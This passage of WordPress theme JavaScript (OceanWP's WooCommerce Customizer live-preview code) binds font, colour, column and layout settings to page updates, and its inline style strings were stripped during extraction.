t=i(".customizer-typography-woo_archive_price-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_price-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-price-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_price-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_price-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-price-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_price-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_price-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_price_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo-archive-price-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-single-add-to-cart-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-single-add-to-cart-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_single_add_to_cart_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-add-to-cart-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-add-to-cart-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-add-to-cart-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_add_to_cart-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_add_to_cart-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-add-to-cart-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_add_to_cart-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_add_to_cart-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-add-to-cart-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_add_to_cart-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_single_add_to_cart-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_single_add_to_cart_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-single-add-to-cart-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-archive-notice-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-archive-notice-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_archive_notice_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-archive-notice-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-archive-notice-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-archive-notice-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_notice-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_notice-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-archive-notice-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_notice-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_notice-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-archive-notice-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_notice-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_archive_notice-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_archive_notice_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-archive-notice-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-store-notice-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-store-notice-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_store_notice_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-notice-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-notice-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-notice-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-notice-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-notice-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-notice-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-notice-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-store-dismiss-notice-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-store-dismiss-notice-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("woo_store_notice_dismiss_link_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-dismiss-notice-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-dismiss-notice-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-dismiss-notice-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-dismiss-notice-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice_dismiss_link-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice_dismiss_link-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-dismiss-notice-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice_dismiss_link-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice_dismiss_link-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-dismiss-notice-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice_dismiss_link-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-woo_store_notice_dismiss_link-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("woo_store_notice_dismiss_link_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-store-dismiss-notice-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})})}(jQuery);customizer/assets/js/woo-customize-preview.js000064400000365166151551031110015541 0ustar00/** * Update Woo Customizer settings live. * * @version 1.0.0 * * @since 2.0 */ ( function( $ ) { // Declare vars var api = wp.customize, body = $( 'body' ), siteHeader = $( '#site-header' ), wooCatStyle = [ 'woo-default-cat', 'woo-dropdown-cat' ], wooAccountStyle = [ 'account-side-style', 'account-original-style' ], wooSaleStyle = [ 'square-sale', 'circle-sale' ], wooCartStyle = [ 'compact', 'spacious' ], wooProductsCol = [ '1', '2', '3', '4', '5', '6', '7' ], wooProductsTabletCol = [ 'tablet-1-col', 'tablet-2-col', 'tablet-3-col', 'tablet-4-col', 'tablet-5-col', 'tablet-6-col', 'tablet-7-col' ], wooProductsMobileCol = [ 'mobile-1-col', 'mobile-2-col', 'mobile-3-col', 'mobile-4-col', 'mobile-5-col', 'mobile-6-col', 'mobile-7-col' ], wooContentAlignment = [ 'owp-content-left', 'owp-content-right', 'owp-content-center' ], wooThumbsPosition = [ 'owp-thumbs-layout-horizontal', 'owp-thumbs-layout-vertical' ], wooAddToCartStyle = [ 'owp-btn-normal', 'owp-btn-big', 'owp-btn-very-big' ], wooTabsLayout = [ 'owp-tabs-layout-horizontal', 'owp-tabs-layout-vertical', 'owp-tabs-layout-section' ], wooTabsPosition = [ 'woo-left-tabs', 'woo-right-tabs', 'woo-center-tabs' ], wooCheckoutTimeline = [ 'arrow', 'square' ]; /******** WooCommerce *********/ // Categories widget style api('ocean_woo_cat_widget_style', function( value ) { value.bind( function( newval ) { if ( body.length ) { $.each( wooCatStyle, function( i, v ) { body.removeClass( v ); }); body.addClass( 'woo-'+ newval +'-cat' ); } }); }); // Sale badge style api('ocean_woo_sale_badge_style', function( value ) { value.bind( function( newval ) { var sale_style = $( '.woocommerce div.product' ); if ( sale_style.length ) { $.each( wooSaleStyle, function( i, v ) { sale_style.removeClass( v ); }); sale_style.addClass( newval + '-sale' ); } }); }); // Off canvas filter text api('ocean_woo_off_canvas_filter_text', function( value ) { value.bind( function( newval ) { $( '.oceanwp-off-canvas-filter .off-canvas-filter-text' ).html( newval ); }); }); // Cart style api('ocean_woo_cart_dropdown_style', function( value ) { value.bind( function( newval ) { var cart = $( '.woo-menu-icon' ); if ( cart.length ) { $.each( wooCartStyle, function( i, v ) { cart.removeClass( v ); }); cart.addClass( newval ); } }); }); // Custom Cart icon api('ocean_woo_menu_custom_icon', function( value ) { value.bind( function( newval ) { var $cart = $( '#site-navigation-wrap .dropdown-menu > li > a.wcmenucart i' ); if ( $cart.length ) { $cart.removeClass(); $cart.addClass( newval ); } }); }); // Menu cart icon size api( 'ocean_woo_menu_icon_size', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_menu_icon_size' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Menu cart icon size tablet api( 'ocean_woo_menu_icon_size_tablet', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_menu_icon_size_tablet' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Menu cart icon size mobile api( 'ocean_woo_menu_icon_size_mobile', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_menu_icon_size_mobile' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Menu cart icon center vertically api( 'ocean_woo_menu_icon_center_vertically', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_menu_icon_center_vertically' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Menu cart icon center vertically tablet api( 'ocean_woo_menu_icon_center_vertically_tablet', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_menu_icon_center_vertically_tablet' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Menu cart icon center vertically mobile api( 'ocean_woo_menu_icon_center_vertically_mobile', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_menu_icon_center_vertically_mobile' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Archives products columns api('ocean_woocommerce_shop_columns', function( value ) { value.bind( function( newval ) { var archivesCol = $( '.woocommerce .products .product' ); if ( archivesCol.length ) { $.each( wooProductsCol, function( i, v ) { archivesCol.parent().removeClass( 'archives-col-'+ v ); archivesCol.removeClass( 'span_1_of_'+ v ); }); archivesCol.parent().addClass( 'custom-col archives-col-'+ newval ); archivesCol.addClass( 'span_1_of_'+ newval ); } }); }); // Archives tablet columns class api('ocean_woocommerce_tablet_shop_columns', function( value ) { value.bind( function( newval ) { var archivesCol = $( '.woocommerce .products' ); if ( archivesCol.length ) { $.each( wooProductsTabletCol, function( i, v ) { archivesCol.removeClass( v ); }); archivesCol.addClass( 'tablet-col' ); archivesCol.addClass( 'tablet-'+ newval +'-col' ); } }); }); // Archives mobile columns class api('ocean_woocommerce_mobile_shop_columns', function( value ) { value.bind( function( newval ) { var archivesCol = $( '.woocommerce .products' ); if ( archivesCol.length ) { $.each( wooProductsMobileCol, function( i, v ) { archivesCol.removeClass( v ); }); archivesCol.addClass( 'mobile-col' ); archivesCol.addClass( 'mobile-'+ newval +'-col' ); } }); }); // Content Alignment api('ocean_woo_product_entry_content_alignment', function( value ) { value.bind( function( newval ) { var content_alignment = $( '.woocommerce .products .product' ); if ( content_alignment.length ) { $.each( wooContentAlignment, function( i, v ) { content_alignment.removeClass( v ); }); content_alignment.addClass( 'owp-content-'+ newval ); } }); }); // Off canvas close button color api( 'ocean_woo_off_canvas_close_button_color', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_off_canvas_close_button_color' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Off canvas close button hover color api( 'ocean_woo_off_canvas_close_button_hover_color', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_off_canvas_close_button_hover_color' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Infinite scroll spinners color api( 'ocean_woo_infinite_scroll_spinners_color', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_infinite_scroll_spinners_color' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Infinite scroll last text api('ocean_woo_infinite_scroll_last_text', function( value ) { value.bind( function( newval ) { $( '.woocommerce .infinite-scroll-last' ).text( newval ); }); }); // Infinite scroll error text api('ocean_woo_infinite_scroll_error_text', function( value ) { value.bind( function( newval ) { $( '.woocommerce .infinite-scroll-error' ).text( newval ); }); }); // Thumbs Layout api('ocean_woo_product_thumbs_layout', function( value ) { value.bind( function( newval ) { var thumbs_layout = $( '.woocommerce div.product' ); if ( thumbs_layout.length ) { $.each( wooThumbsPosition, function( i, v ) { thumbs_layout.removeClass( v ); }); thumbs_layout.addClass( 'owp-thumbs-layout-'+ newval ); } }); }); // Add to cart button style api('ocean_woo_product_addtocart_style', function( value ) { value.bind( function( newval ) { var addtocart_style = $( '.woocommerce div.product' ); if ( addtocart_style.length ) { $.each( wooAddToCartStyle, function( i, v ) { addtocart_style.removeClass( v ); }); addtocart_style.addClass( 'owp-btn-'+ newval ); } }); }); // Tabs Layout api('ocean_woo_product_tabs_layout', function( value ) { value.bind( function( newval ) { var tabs_layout = $( '.woocommerce div.product' ); if ( tabs_layout.length ) { $.each( wooTabsLayout, function( i, v ) { tabs_layout.removeClass( v ); }); tabs_layout.addClass( 'owp-tabs-layout-'+ newval ); } }); }); // Tabs Position api('ocean_woo_product_meta_tabs_position', function( value ) { value.bind( function( newval ) { if ( body.length ) { $.each( wooTabsPosition, function( i, v ) { body.removeClass( v ); }); body.addClass( 'woo-'+ newval +'-tabs' ); } }); }); // Multi-step checkout style api('ocean_woo_multi_step_checkout_timeline_style', function( value ) { value.bind( function( newval ) { var timeline = $( '#owp-checkout-timeline' ); if ( timeline.length ) { $.each( wooCheckoutTimeline, function( i, v ) { timeline.removeClass( v ); }); timeline.addClass( newval ); } }); }); // Both Sidebars layout shop page content width api( 'ocean_woo_shop_both_sidebars_content_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_shop_both_sidebars_content_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Both Sidebars layout shop page sidebars width api( 'ocean_woo_shop_both_sidebars_sidebars_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_shop_both_sidebars_sidebars_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Both Sidebars layout single product content width api( 'ocean_woo_product_both_sidebars_content_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_product_both_sidebars_content_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Both Sidebars layout single product sidebars width api( 'ocean_woo_product_both_sidebars_sidebars_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_woo_product_both_sidebars_sidebars_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Customizer Live Preview api("ocean_woo_product_image_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_product_image_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_product_summary_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_product_summary_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_store_notice_bg_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-store-notice.demo_store").css("background-color", size); }); }), api("ocean_woo_store_notice_dismiss_bg_color", function($swipe) { $swipe.bind(function(size) { $(".demo_store .woocommerce-store-notice__dismiss-link").css("background-color", size); }); }), api("ocean_woo_store_notice_dismiss_text_hover_color", function($swipe) { $swipe.bind(function(size) { $(".demo_store .woocommerce-store-notice__dismiss-link:hover").css("color", size); }); }), api("ocean_woo_floating_bar_bg", function($swipe) { $swipe.bind(function(size) { $(".owp-floating-bar").css("background-color", size); }); }), api("ocean_woo_floating_bar_title_color", function($swipe) { $swipe.bind(function(size) { $(".owp-floating-bar p.selected, .owp-floating-bar h2.entry-title").css("color", size); }); }), api("ocean_woo_floating_bar_price_color", function($swipe) { $swipe.bind(function(size) { $(".owp-floating-bar .product_price del .amount, .owp-floating-bar .product_price .amount, .owp-floating-bar .out-of-stock").css("color", size); }); }), api("ocean_woo_floating_bar_quantity_buttons_bg", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_floating_bar_quantity_buttons_bg"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_floating_bar_quantity_buttons_hover_bg", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_floating_bar_quantity_buttons_hover_bg"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_floating_bar_quantity_buttons_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_floating_bar_quantity_buttons_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_floating_bar_quantity_buttons_hover_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_floating_bar_quantity_buttons_hover_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_floating_bar_quantity_input_bg", function($swipe) { $swipe.bind(function(size) { $(".owp-floating-bar form.cart .quantity .qty").css("background-color", size); }); }), api("ocean_woo_floating_bar_quantity_input_color", function($swipe) { $swipe.bind(function(size) { $(".owp-floating-bar form.cart .quantity .qty").css("color", size); }); }), api("ocean_woo_floating_bar_addtocart_bg", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_floating_bar_addtocart_bg"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_floating_bar_addtocart_hover_bg", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_floating_bar_addtocart_hover_bg"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_floating_bar_addtocart_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_floating_bar_addtocart_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_floating_bar_addtocart_hover_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_floating_bar_addtocart_hover_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_checkout_timeline_bg", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_checkout_timeline_bg"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_checkout_timeline_color", function($swipe) { $swipe.bind(function(size) { $("#owp-checkout-timeline .timeline-wrapper").css("color", size); }); }), api("ocean_woo_checkout_timeline_number_bg", function($swipe) { $swipe.bind(function(size) { $("#owp-checkout-timeline .timeline-step").css("background-color", size); }); }), api("ocean_woo_checkout_timeline_number_color", function($swipe) { $swipe.bind(function(size) { $("#owp-checkout-timeline .timeline-step").css("color", size); }); }), api("ocean_woo_checkout_timeline_number_border_color", function($swipe) { $swipe.bind(function(size) { $("#owp-checkout-timeline .timeline-step").css("border-color", size); }); }), api("ocean_woo_checkout_timeline_active_bg", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_woo_checkout_timeline_active_bg"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_woo_checkout_timeline_active_color", function($swipe) { $swipe.bind(function(size) { $("#owp-checkout-timeline .active .timeline-wrapper").css("color", size); }); }), api("ocean_onsale_bg", function($swipe) { $swipe.bind(function(size) { $(".woocommerce span.onsale").css("background-color", size); }); }), api("ocean_onsale_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce span.onsale").css("color", size); }); }), api("ocean_outofstock_bg", function($swipe) { $swipe.bind(function(size) { $(".woocommerce ul.products li.product.outofstock .outofstock-badge").css("background-color", size); }); }), api("ocean_outofstock_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce ul.products li.product.outofstock .outofstock-badge").css("color", size); }); }), api("ocean_stars_color_before", function($swipe) { $swipe.bind(function(to) { var $child = 